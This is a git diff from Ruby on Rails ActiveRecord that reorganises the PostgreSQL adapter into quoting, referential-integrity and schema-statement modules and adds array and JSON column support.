+ PGconn.unescape_bytea(value) if value
+ end
+
+ # Quotes PostgreSQL-specific data types for SQL input.
+ def quote(value, column = nil) #:nodoc:
+ return super unless column
+
+ case value
+ when Array
+ if column.array
+ "'#{PostgreSQLColumn.array_to_string(value, column, self)}'"
+ else
+ super
+ end
+ when Hash
+ case column.sql_type
+ when 'hstore' then super(PostgreSQLColumn.hstore_to_string(value), column)
+ when 'json' then super(PostgreSQLColumn.json_to_string(value), column)
+ else super
+ end
+ when IPAddr
+ case column.sql_type
+ when 'inet', 'cidr' then super(PostgreSQLColumn.cidr_to_string(value), column)
+ else super
+ end
+ when Float
+ if value.infinite? && column.type == :datetime
+ "'#{value.to_s.downcase}'"
+ elsif value.infinite? || value.nan?
+ "'#{value.to_s}'"
+ else
+ super
+ end
+ when Numeric
+ return super unless column.sql_type == 'money'
+ # Not truly string input, so doesn't require (or allow) escape string syntax.
+ "'#{value}'"
+ when String
+ case column.sql_type
+ when 'bytea' then "'#{escape_bytea(value)}'"
+ when 'xml' then "xml '#{quote_string(value)}'"
+ when /^bit/
+ case value
+ when /^[01]*$/ then "B'#{value}'" # Bit-string notation
+ when /^[0-9A-F]*$/i then "X'#{value}'" # Hexadecimal notation
+ end
+ else
+ super
+ end
+ else
+ super
+ end
+ end
+
+ def type_cast(value, column, array_member = false)
+ return super(value, column) unless column
+
+ case value
+ when NilClass
+ if column.array && array_member
+ 'NULL'
+ elsif column.array
+ value
+ else
+ super(value, column)
+ end
+ when Array
+ return super(value, column) unless column.array
+ PostgreSQLColumn.array_to_string(value, column, self)
+ when String
+ return super(value, column) unless 'bytea' == column.sql_type
+ { :value => value, :format => 1 }
+ when Hash
+ case column.sql_type
+ when 'hstore' then PostgreSQLColumn.hstore_to_string(value)
+ when 'json' then PostgreSQLColumn.json_to_string(value)
+ else super(value, column)
+ end
+ when IPAddr
+ return super(value, column) unless ['inet','cidr'].includes? column.sql_type
+ PostgreSQLColumn.cidr_to_string(value)
+ else
+ super(value, column)
+ end
+ end
+
+ # Quotes strings for use in SQL input.
+ def quote_string(s) #:nodoc:
+ @connection.escape(s)
+ end
+
+ # Checks the following cases:
+ #
+ # - table_name
+ # - "table.name"
+ # - schema_name.table_name
+ # - schema_name."table.name"
+ # - "schema.name".table_name
+ # - "schema.name"."table.name"
+ def quote_table_name(name)
+ schema, name_part = extract_pg_identifier_from_name(name.to_s)
+
+ unless name_part
+ quote_column_name(schema)
+ else
+ table_name, name_part = extract_pg_identifier_from_name(name_part)
+ "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
+ end
+ end
+
+ # Quotes column names for use in SQL queries.
+ def quote_column_name(name) #:nodoc:
+ PGconn.quote_ident(name.to_s)
+ end
+
+ # Quote date/time values for use in SQL input. Includes microseconds
+ # if the value is a Time responding to usec.
+ def quoted_date(value) #:nodoc:
+ if value.acts_like?(:time) && value.respond_to?(:usec)
+ "#{super}.#{sprintf("%06d", value.usec)}"
+ else
+ super
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
new file mode 100644
index 0000000000..16da3ea732
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
@@ -0,0 +1,22 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module ReferentialIntegrity
+ def supports_disable_referential_integrity? #:nodoc:
+ true
+ end
+
+ def disable_referential_integrity #:nodoc:
+ if supports_disable_referential_integrity? then
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
+ end
+ yield
+ ensure
+ if supports_disable_referential_integrity? then
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
new file mode 100644
index 0000000000..8a073bf878
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -0,0 +1,446 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module SchemaStatements
+ # Drops the database specified on the +name+ attribute
+ # and creates it again using the provided +options+.
+ def recreate_database(name, options = {}) #:nodoc:
+ drop_database(name)
+ create_database(name, options)
+ end
+
+ # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
+ # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
+ # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
+ # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
+ #
+ # Example:
+ # create_database config[:database], config
+ # create_database 'foo_development', :encoding => 'unicode'
+ def create_database(name, options = {})
+ options = options.reverse_merge(:encoding => "utf8")
+
+ option_string = options.symbolize_keys.sum do |key, value|
+ case key
+ when :owner
+ " OWNER = \"#{value}\""
+ when :template
+ " TEMPLATE = \"#{value}\""
+ when :encoding
+ " ENCODING = '#{value}'"
+ when :collation
+ " LC_COLLATE = '#{value}'"
+ when :ctype
+ " LC_CTYPE = '#{value}'"
+ when :tablespace
+ " TABLESPACE = \"#{value}\""
+ when :connection_limit
+ " CONNECTION LIMIT = #{value}"
+ else
+ ""
+ end
+ end
+
+ execute "CREATE DATABASE #{quote_table_name(name)}#{option_string}"
+ end
+
+ # Drops a PostgreSQL database.
+ #
+ # Example:
+ # drop_database 'matt_development'
+ def drop_database(name) #:nodoc:
+ execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
+ end
+
+ # Returns the list of all tables in the schema search path or a specified schema.
+ def tables(name = nil)
+ query(<<-SQL, 'SCHEMA').map { |row| row[0] }
+ SELECT tablename
+ FROM pg_tables
+ WHERE schemaname = ANY (current_schemas(false))
+ SQL
+ end
+
+ # Returns true if table exists.
+ # If the schema is not specified as part of +name+ then it will only find tables within
+ # the current schema search path (regardless of permissions to access tables in other schemas)
+ def table_exists?(name)
+ schema, table = Utils.extract_schema_and_table(name.to_s)
+ return false unless table
+
+ binds = [[nil, table]]
+ binds << [nil, schema] if schema
+
+ exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+ SELECT COUNT(*)
+ FROM pg_class c
+ LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
+ WHERE c.relkind in ('v','r')
+ AND c.relname = '#{table.gsub(/(^"|"$)/,'')}'
+ AND n.nspname = #{schema ? "'#{schema}'" : 'ANY (current_schemas(false))'}
+ SQL
+ end
+
+ # Returns true if schema exists.
+ def schema_exists?(name)
+ exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+ SELECT COUNT(*)
+ FROM pg_namespace
+ WHERE nspname = '#{name}'
+ SQL
+ end
+
+ # Returns an array of indexes for the given table.
+ def indexes(table_name, name = nil)
+ result = query(<<-SQL, 'SCHEMA')
+ SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid
+ FROM pg_class t
+ INNER JOIN pg_index d ON t.oid = d.indrelid
+ INNER JOIN pg_class i ON d.indexrelid = i.oid
+ WHERE i.relkind = 'i'
+ AND d.indisprimary = 'f'
+ AND t.relname = '#{table_name}'
+ AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
+ ORDER BY i.relname
+ SQL
+
+ result.map do |row|
+ index_name = row[0]
+ unique = row[1] == 't'
+ indkey = row[2].split(" ")
+ inddef = row[3]
+ oid = row[4]
+
+ columns = Hash[query(<<-SQL, "SCHEMA")]
+ SELECT a.attnum, a.attname
+ FROM pg_attribute a
+ WHERE a.attrelid = #{oid}
+ AND a.attnum IN (#{indkey.join(",")})
+ SQL
+
+ column_names = columns.values_at(*indkey).compact
+
+ # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
+ desc_order_columns = inddef.scan(/(\w+) DESC/).flatten
+ orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}
+ where = inddef.scan(/WHERE (.+)$/).flatten[0]
+
+ column_names.empty? ? nil : IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where)
+ end.compact
+ end
+
+ # Returns the list of all column definitions for a table.
+ def columns(table_name)
+ # Limit, precision, and scale are all handled by the superclass.
+ column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
+ oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
+ OID::Identity.new
+ }
+ PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
+ end
+ end
+
+ # Returns the current database name.
+ def current_database
+ query('select current_database()', 'SCHEMA')[0][0]
+ end
+
+ # Returns the current schema name.
+ def current_schema
+ query('SELECT current_schema', 'SCHEMA')[0][0]
+ end
+
+ # Returns the current database encoding format.
+ def encoding
+ query(<<-end_sql, 'SCHEMA')[0][0]
+ SELECT pg_encoding_to_char(pg_database.encoding) FROM pg_database
+ WHERE pg_database.datname LIKE '#{current_database}'
+ end_sql
+ end
+
+ # Returns the current database collation.
+ def collation
+ query(<<-end_sql, 'SCHEMA')[0][0]
+ SELECT pg_database.datcollate FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
+ end_sql
+ end
+
+ # Returns the current database ctype.
+ def ctype
+ query(<<-end_sql, 'SCHEMA')[0][0]
+ SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
+ end_sql
+ end
+
+ # Returns an array of schema names.
+ def schema_names
+ query(<<-SQL, 'SCHEMA').flatten
+ SELECT nspname
+ FROM pg_namespace
+ WHERE nspname !~ '^pg_.*'
+ AND nspname NOT IN ('information_schema')
+ ORDER by nspname;
+ SQL
+ end
+
+ # Creates a schema for the given schema name.
+ def create_schema schema_name
+ execute "CREATE SCHEMA #{schema_name}"
+ end
+
+ # Drops the schema for the given schema name.
+ def drop_schema schema_name
+ execute "DROP SCHEMA #{schema_name} CASCADE"
+ end
+
+ # Sets the schema search path to a string of comma-separated schema names.
+ # Names beginning with $ have to be quoted (e.g. $user => '$user').
+ # See: http://www.postgresql.org/docs/current/static/ddl-schemas.html
+ #
+ # This should be not be called manually but set in database.yml.
+ def schema_search_path=(schema_csv)
+ if schema_csv
+ execute("SET search_path TO #{schema_csv}", 'SCHEMA')
+ @schema_search_path = schema_csv
+ end
+ end
+
+ # Returns the active schema search path.
+ def schema_search_path
+ @schema_search_path ||= query('SHOW search_path', 'SCHEMA')[0][0]
+ end
+
+ # Returns the current client message level.
+ def client_min_messages
+ query('SHOW client_min_messages', 'SCHEMA')[0][0]
+ end
+
+ # Set the client message level.
+ def client_min_messages=(level)
+ execute("SET client_min_messages TO '#{level}'", 'SCHEMA')
+ end
+
+ # Returns the sequence name for a table's primary key or some other specified key.
+ def default_sequence_name(table_name, pk = nil) #:nodoc:
+ result = serial_sequence(table_name, pk || 'id')
+ return nil unless result
+ result.split('.').last
+ rescue ActiveRecord::StatementInvalid
+ "#{table_name}_#{pk || 'id'}_seq"
+ end
+
+ def serial_sequence(table, column)
+ result = exec_query(<<-eosql, 'SCHEMA')
+ SELECT pg_get_serial_sequence('#{table}', '#{column}')
+ eosql
+ result.rows.first.first
+ end
+
+ # Resets the sequence of a table's primary key to the maximum value.
+ def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
+ unless pk and sequence
+ default_pk, default_sequence = pk_and_sequence_for(table)
+
+ pk ||= default_pk
+ sequence ||= default_sequence
+ end
+
+ if @logger && pk && !sequence
+ @logger.warn "#{table} has primary key #{pk} with no default sequence"
+ end
+
+ if pk && sequence
+ quoted_sequence = quote_table_name(sequence)
+
+ select_value <<-end_sql, 'SCHEMA'
+ SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)
+ end_sql
+ end
+ end
+
+ # Returns a table's primary key and belonging sequence.
+ def pk_and_sequence_for(table) #:nodoc:
+ # First try looking for a sequence with a dependency on the
+ # given table's primary key.
+ result = query(<<-end_sql, 'SCHEMA')[0]
+ SELECT attr.attname, seq.relname
+ FROM pg_class seq,
+ pg_attribute attr,
+ pg_depend dep,
+ pg_namespace name,
+ pg_constraint cons
+ WHERE seq.oid = dep.objid
+ AND seq.relkind = 'S'
+ AND attr.attrelid = dep.refobjid
+ AND attr.attnum = dep.refobjsubid
+ AND attr.attrelid = cons.conrelid
+ AND attr.attnum = cons.conkey[1]
+ AND cons.contype = 'p'
+ AND dep.refobjid = '#{quote_table_name(table)}'::regclass
+ end_sql
+
+ if result.nil? or result.empty?
+ # If that fails, try parsing the primary key's default value.
+ # Support the 7.x and 8.0 nextval('foo'::text) as well as
+ # the 8.1+ nextval('foo'::regclass).
+ result = query(<<-end_sql, 'SCHEMA')[0]
+ SELECT attr.attname,
+ CASE
+ WHEN split_part(def.adsrc, '''', 2) ~ '.' THEN
+ substr(split_part(def.adsrc, '''', 2),
+ strpos(split_part(def.adsrc, '''', 2), '.')+1)
+ ELSE split_part(def.adsrc, '''', 2)
+ END
+ FROM pg_class t
+ JOIN pg_attribute attr ON (t.oid = attrelid)
+ JOIN pg_attrdef def ON (adrelid = attrelid AND adnum = attnum)
+ JOIN pg_constraint cons ON (conrelid = adrelid AND adnum = conkey[1])
+ WHERE t.oid = '#{quote_table_name(table)}'::regclass
+ AND cons.contype = 'p'
+ AND def.adsrc ~* 'nextval'
+ end_sql
+ end
+
+ [result.first, result.last]
+ rescue
+ nil
+ end
+
+ # Returns just a table's primary key
+ def primary_key(table)
+ row = exec_query(<<-end_sql, 'SCHEMA').rows.first
+ SELECT DISTINCT(attr.attname)
+ FROM pg_attribute attr
+ INNER JOIN pg_depend dep ON attr.attrelid = dep.refobjid AND attr.attnum = dep.refobjsubid
+ INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.conkey[1]
+ WHERE cons.contype = 'p'
+ AND dep.refobjid = '#{table}'::regclass
+ end_sql
+
+ row && row.first
+ end
+
+ # Renames a table.
+ # Also renames a table's primary key sequence if the sequence name matches the
+ # Active Record default.
+ #
+ # Example:
+ # rename_table('octopuses', 'octopi')
+ def rename_table(name, new_name)
+ clear_cache!
+ execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
+ pk, seq = pk_and_sequence_for(new_name)
+ if seq == "#{name}_#{pk}_seq"
+ new_seq = "#{new_name}_#{pk}_seq"
+ execute "ALTER TABLE #{quote_table_name(seq)} RENAME TO #{quote_table_name(new_seq)}"
+ end
+ end
+
+ # Adds a new column to the named table.
+ # See TableDefinition#column for details of the options you can use.
+ def add_column(table_name, column_name, type, options = {})
+ clear_cache!
+ add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+ add_column_options!(add_column_sql, options)
+
+ execute add_column_sql
+ end
+
+ # Changes the column of a table.
+ def change_column(table_name, column_name, type, options = {})
+ clear_cache!
+ quoted_table_name = quote_table_name(table_name)
+
+ execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+
+ change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
+ change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
+ end
+
+ # Changes the default value of a table column.
+ def change_column_default(table_name, column_name, default)
+ clear_cache!
+ execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
+ end
+
+ def change_column_null(table_name, column_name, null, default = nil)
+ clear_cache!
+ unless null || default.nil?
+ execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+ end
+ execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
+ end
+
+ # Renames a column in a table.
+ def rename_column(table_name, column_name, new_column_name)
+ clear_cache!
+ execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
+ end
+
+ def remove_index!(table_name, index_name) #:nodoc:
+ execute "DROP INDEX #{quote_table_name(index_name)}"
+ end
+
+ def rename_index(table_name, old_name, new_name)
+ execute "ALTER INDEX #{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
+ end
+
+ def index_name_length
+ 63
+ end
+
+ # Maps logical Rails types to PostgreSQL-specific data types.
+ def type_to_sql(type, limit = nil, precision = nil, scale = nil)
+ case type.to_s
+ when 'binary'
+ # PostgreSQL doesn't support limits on binary (bytea) columns.
+ # The hard limit is 1Gb, because of a 32-bit size field, and TOAST.
+ case limit
+ when nil, 0..0x3fffffff; super(type)
+ else raise(ActiveRecordError, "No binary type has byte size #{limit}.")
+ end
+ when 'integer'
+ return 'integer' unless limit
+
+ case limit
+ when 1, 2; 'smallint'
+ when 3, 4; 'integer'
+ when 5..8; 'bigint'
+ else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
+ end
+ when 'datetime'
+ return super unless precision
+
+ case precision
+ when 0..6; "timestamp(#{precision})"
+ else raise(ActiveRecordError, "No timestamp type has precision of #{precision}. The allowed range of precision is from 0 to 6")
+ end
+ else
+ super
+ end
+ end
+
+ # Returns a SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
+ #
+ # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
+ # requires that the ORDER BY include the distinct column.
+ #
+ # distinct("posts.id", "posts.created_at desc")
+ def distinct(columns, orders) #:nodoc:
+ return "DISTINCT #{columns}" if orders.empty?
+
+ # Construct a clean list of column names from the ORDER BY clause, removing
+ # any ASC/DESC modifiers
+ order_columns = orders.collect do |s|
+ s = s.to_sql unless s.is_a?(String)
+ s.gsub(/\s+(ASC|DESC)\s*(NULLS\s+(FIRST|LAST)\s*)?/i, '')
+ end
+ order_columns.delete_if { |c| c.blank? }
+ order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| "#{s} AS alias_#{i}" }
+
+ "DISTINCT #{columns}, #{order_columns * ', '}"
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index 8e9ce80697..5e35f472c7 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -1,6 +1,12 @@
require 'active_record/connection_adapters/abstract_adapter'
require 'active_record/connection_adapters/statement_pool'
require 'active_record/connection_adapters/postgresql/oid'
+require 'active_record/connection_adapters/postgresql/cast'
+require 'active_record/connection_adapters/postgresql/array_parser'
+require 'active_record/connection_adapters/postgresql/quoting'
+require 'active_record/connection_adapters/postgresql/schema_statements'
+require 'active_record/connection_adapters/postgresql/database_statements'
+require 'active_record/connection_adapters/postgresql/referential_integrity'
require 'arel/visitors/bind_visitor'
# Make sure we're using pg high enough for PGResult#values
@@ -36,80 +42,24 @@ module ActiveRecord
module ConnectionAdapters
# PostgreSQL-specific extensions to column definitions in a table.
class PostgreSQLColumn < Column #:nodoc:
+ attr_accessor :array
# Instantiates a new PostgreSQL column definition in a table.
def initialize(name, default, oid_type, sql_type = nil, null = true)
@oid_type = oid_type
- super(name, self.class.extract_value_from_default(default), sql_type, null)
+ if sql_type =~ /\[\]$/
+ @array = true
+ super(name, self.class.extract_value_from_default(default), sql_type[0..sql_type.length - 3], null)
+ else
+ @array = false
+ super(name, self.class.extract_value_from_default(default), sql_type, null)
+ end
end
# :stopdoc:
class << self
+ include ConnectionAdapters::PostgreSQLColumn::Cast
+ include ConnectionAdapters::PostgreSQLColumn::ArrayParser
attr_accessor :money_precision
- def string_to_time(string)
- return string unless String === string
-
- case string
- when 'infinity' then 1.0 / 0.0
- when '-infinity' then -1.0 / 0.0
- else
- super
- end
- end
-
- def hstore_to_string(object)
- if Hash === object
- object.map { |k,v|
- "#{escape_hstore(k)}=>#{escape_hstore(v)}"
- }.join ','
- else
- object
- end
- end
-
- def string_to_hstore(string)
- if string.nil?
- nil
- elsif String === string
- Hash[string.scan(HstorePair).map { |k,v|
- v = v.upcase == 'NULL' ? nil : v.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
- k = k.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
- [k,v]
- }]
- else
- string
- end
- end
-
- def string_to_cidr(string)
- if string.nil?
- nil
- elsif String === string
- IPAddr.new(string)
- else
- string
- end
- end
-
- def cidr_to_string(object)
- if IPAddr === object
- "#{object.to_s}/#{object.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
- else
- object
- end
- end
-
- private
- HstorePair = begin
- quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
- unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
- /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
- end
-
- def escape_hstore(value)
- value.nil? ? 'NULL'
- : value == "" ? '""'
- : '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
- end
end
# :startdoc:
@@ -164,6 +114,9 @@ module ActiveRecord
# Hstore
when /\A'(.*)'::hstore\z/
$1
+ # JSON
+ when /\A'(.*)'::json\z/
+ $1
# Object identifier types
when /\A-?\d+\z/
$1
@@ -182,90 +135,94 @@ module ActiveRecord
end
private
- def extract_limit(sql_type)
- case sql_type
- when /^bigint/i; 8
- when /^smallint/i; 2
- when /^timestamp/i; nil
- else super
+
+ def extract_limit(sql_type)
+ case sql_type
+ when /^bigint/i; 8
+ when /^smallint/i; 2
+ when /^timestamp/i; nil
+ else super
+ end
end
- end
- # Extracts the scale from PostgreSQL-specific data types.
- def extract_scale(sql_type)
- # Money type has a fixed scale of 2.
- sql_type =~ /^money/ ? 2 : super
- end
+ # Extracts the scale from PostgreSQL-specific data types.
+ def extract_scale(sql_type)
+ # Money type has a fixed scale of 2.
+ sql_type =~ /^money/ ? 2 : super
+ end
- # Extracts the precision from PostgreSQL-specific data types.
- def extract_precision(sql_type)
- if sql_type == 'money'
- self.class.money_precision
- elsif sql_type =~ /timestamp/i
- $1.to_i if sql_type =~ /\((\d+)\)/
- else
- super
+ # Extracts the precision from PostgreSQL-specific data types.
+ def extract_precision(sql_type)
+ if sql_type == 'money'
+ self.class.money_precision
+ elsif sql_type =~ /timestamp/i
+ $1.to_i if sql_type =~ /\((\d+)\)/
+ else
+ super
+ end
end
- end
- # Maps PostgreSQL-specific data types to logical Rails types.
- def simplified_type(field_type)
- case field_type
- # Numeric and monetary types
- when /^(?:real|double precision)$/
- :float
- # Monetary types
- when 'money'
- :decimal
- when 'hstore'
- :hstore
- # Network address types
- when 'inet'
- :inet
- when 'cidr'
- :cidr
- when 'macaddr'
- :macaddr
- # Character types
- when /^(?:character varying|bpchar)(?:\(\d+\))?$/
- :string
- # Binary data types
- when 'bytea'
- :binary
- # Date/time types
- when /^timestamp with(?:out)? time zone$/
- :datetime
- when 'interval'
- :string
- # Geometric types
- when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
- :string
- # Bit strings
- when /^bit(?: varying)?(?:\(\d+\))?$/
- :string
- # XML type
- when 'xml'
- :xml
- # tsvector type
- when 'tsvector'
- :tsvector
- # Arrays
- when /^\D+\[\]$/
- :string
- # Object identifier types
- when 'oid'
- :integer
- # UUID type
- when 'uuid'
- :uuid
- # Small and big integer types
- when /^(?:small|big)int$/
- :integer
- # Pass through all types that are not specific to PostgreSQL.
- else
- super
+ # Maps PostgreSQL-specific data types to logical Rails types.
+ def simplified_type(field_type)
+ case field_type
+ # Numeric and monetary types
+ when /^(?:real|double precision)$/
+ :float
+ # Monetary types
+ when 'money'
+ :decimal
+ when 'hstore'
+ :hstore
+ # Network address types
+ when 'inet'
+ :inet
+ when 'cidr'
+ :cidr
+ when 'macaddr'
+ :macaddr
+ # Character types
+ when /^(?:character varying|bpchar)(?:\(\d+\))?$/
+ :string
+ # Binary data types
+ when 'bytea'
+ :binary
+ # Date/time types
+ when /^timestamp with(?:out)? time zone$/
+ :datetime
+ when /^interval(?:|\(\d+\))$/
+ :string
+ # Geometric types
+ when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
+ :string
+ # Bit strings
+ when /^bit(?: varying)?(?:\(\d+\))?$/
+ :string
+ # XML type
+ when 'xml'
+ :xml
+ # tsvector type
+ when 'tsvector'
+ :tsvector
+ # Arrays
+ when /^\D+\[\]$/
+ :string
+ # Object identifier types
+ when 'oid'
+ :integer
+ # UUID type
+ when 'uuid'
+ :uuid
+ # JSON type
+ when 'json'
+ :json
+ # Small and big integer types
+ when /^(?:small|big)int$/
+ :integer
+ # Pass through all types that are not specific to PostgreSQL.
+ else
+ super
+ end
end
- end
end
# The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
@@ -294,6 +251,10 @@ module ActiveRecord
# In addition, default connection parameters of libpq can be set per environment variables.
# See http://www.postgresql.org/docs/9.1/static/libpq-envars.html .
class PostgreSQLAdapter < AbstractAdapter
+ class ColumnDefinition < ActiveRecord::ConnectionAdapters::ColumnDefinition
+ attr_accessor :array
+ end
+
class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
def xml(*args)
options = args.extract_options!
@@ -324,37 +285,77 @@ module ActiveRecord
def uuid(name, options = {})
column(name, 'uuid', options)
end
+
+ def json(name, options = {})
+ column(name, 'json', options)
+ end
+
+ def column(name, type = nil, options = {})
+ super
+ column = self[name]
+ column.array = options[:array]
+
+ self
+ end
+
+ private
+
+ def new_column_definition(base, name, type)
+ definition = ColumnDefinition.new base, name, type
+ @columns << definition
+ @columns_hash[name] = definition
+ definition
+ end
end
ADAPTER_NAME = 'PostgreSQL'
NATIVE_DATABASE_TYPES = {
- :primary_key => "serial primary key",
- :string => { :name => "character varying", :limit => 255 },
- :text => { :name => "text" },
- :integer => { :name => "integer" },
- :float => { :name => "float" },
- :decimal => { :name => "decimal" },
- :datetime => { :name => "timestamp" },
- :timestamp => { :name => "timestamp" },
- :time => { :name => "time" },
- :date => { :name => "date" },
- :binary => { :name => "bytea" },
- :boolean => { :name => "boolean" },
- :xml => { :name => "xml" },
- :tsvector => { :name => "tsvector" },
- :hstore => { :name => "hstore" },
- :inet => { :name => "inet" },
- :cidr => { :name => "cidr" },
- :macaddr => { :name => "macaddr" },
- :uuid => { :name => "uuid" }
+ primary_key: "serial primary key",
+ string: { name: "character varying", limit: 255 },
+ text: { name: "text" },
+ integer: { name: "integer" },
+ float: { name: "float" },
+ decimal: { name: "decimal" },
+ datetime: { name: "timestamp" },
+ timestamp: { name: "timestamp" },
+ time: { name: "time" },
+ date: { name: "date" },
+ binary: { name: "bytea" },
+ boolean: { name: "boolean" },
+ xml: { name: "xml" },
+ tsvector: { name: "tsvector" },
+ hstore: { name: "hstore" },
+ inet: { name: "inet" },
+ cidr: { name: "cidr" },
+ macaddr: { name: "macaddr" },
+ uuid: { name: "uuid" },
+ json: { name: "json" }
}
+ include Quoting
+ include ReferentialIntegrity
+ include SchemaStatements
+ include DatabaseStatements
+
# Returns 'PostgreSQL' as adapter name for identification purposes.
def adapter_name
ADAPTER_NAME
end
+ # Adds `:array` option to the default set provided by the
+ # AbstractAdapter
+ def prepare_column_options(column, types)
+ spec = super
+ spec[:array] = 'true' if column.respond_to?(:array) && column.array
+ spec
+ end
+
+ # Adds `:array` as a valid migration key
+ def migration_keys
+ super + [:array]
+ end
+
# Returns +true+, since this connection adapter supports prepared statement
# caching.
def supports_statement_cache?
@@ -369,6 +370,10 @@ module ActiveRecord
true
end
+ def supports_transaction_isolation?
+ true
+ end
+
class StatementPool < ConnectionAdapters::StatementPool
def initialize(connection, max)
super
@@ -406,19 +411,20 @@ module ActiveRecord
end
private
- def cache
- @cache[Process.pid]
- end
- def dealloc(key)
- @connection.query "DEALLOCATE #{key}" if connection_active?
- end
+ def cache
+ @cache[Process.pid]
+ end
- def connection_active?
- @connection.status == PGconn::CONNECTION_OK
- rescue PGError
- false
- end
+ def dealloc(key)
+ @connection.query "DEALLOCATE #{key}" if connection_active?
+ end
+
+ def connection_active?
+ @connection.status == PGconn::CONNECTION_OK
+ rescue PGError
+ false
+ end
end
class BindSubstitution < Arel::Visitors::PostgreSQL # :nodoc:
@@ -471,9 +477,8 @@ module ActiveRecord
# Close then reopen the connection.
def reconnect!
- clear_cache!
+ super
@connection.reset
- @open_transactions = 0
configure_connection
end
@@ -485,7 +490,7 @@ module ActiveRecord
# Disconnects from the database if already connected. Otherwise, this
# method does nothing.
def disconnect!
- clear_cache!
+ super
@connection.close rescue nil
end
@@ -534,119 +539,11 @@ module ActiveRecord
@table_alias_length ||= query('SHOW max_identifier_length', 'SCHEMA')[0][0].to_i
end
- # QUOTING ==================================================
-
- # Escapes binary strings for bytea input to the database.
- def escape_bytea(value)
- PGconn.escape_bytea(value) if value
- end
-
- # Unescapes bytea output from a database to the binary string it represents.
- # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
- # on escaped binary output from database drive.
- def unescape_bytea(value)
- PGconn.unescape_bytea(value) if value
- end
-
- # Quotes PostgreSQL-specific data types for SQL input.
- def quote(value, column = nil) #:nodoc:
- return super unless column
-
